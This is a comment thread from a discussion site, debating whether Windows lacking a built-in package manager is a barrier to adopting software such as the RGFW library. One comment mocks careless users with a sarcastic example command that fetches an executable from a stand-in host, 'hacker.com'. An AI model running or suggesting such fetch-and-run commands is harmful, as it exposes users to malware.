Re:RGFW: Single-header C99 window abstraction library
by kreetx on Saturday November 23, 2024 @08:45AM
(#42220825)
It's an adoption barrier.
Re:RGFW: Single-header C99 window abstraction library
by Conscat on Saturday November 23, 2024 @11:18AM
(#42221625)
I know very non-technical people who use Chocolatey for acquiring ffmpeg.
Re:RGFW: Single-header C99 window abstraction library
by 1oooqooq on Saturday November 23, 2024 @10:09AM
(#42221297)
meh. it's not.
If you are convincing people to run commands to install packages:
- they care about trust, they will already have their package manager from the ecosystem they trust (which should be msys+pacman on windows, btw)
- they couldn't care less and will trust your `curl | bash` or `Invoke-RestMethod -Uri http://hacker.com/totallysafe.exe`
on both cases, not having a default package manager shipped caused zero adoption attrition, I mean, besides the attrition of needing a non-standard package to begin with.
Re:RGFW: Single-header C99 window abstraction library
by frizlab on Saturday November 23, 2024 @10:28AM
(#42221394)
IMHO it is though. I have a windows VM I rarely use and tried using a package manager at some point, but end up not succeeding until winget was part of the system and was a no-brainer.
Too many possibilities made me choose none.
Re:RGFW: Single-header C99 window abstraction library
by eqvinox on Saturday November 23, 2024 @05:33PM
(#42224468)
It was only partially sarcastic (yeah that didn't communicate at all, bad habit on my end), I had googled them but didn't quite understand the winget situation at glance. Thanks for the answer, actually appreciated!
But why is being installed by default important?
[1] https://www.petergirnus.com/blog/how-to-use-windows-package-...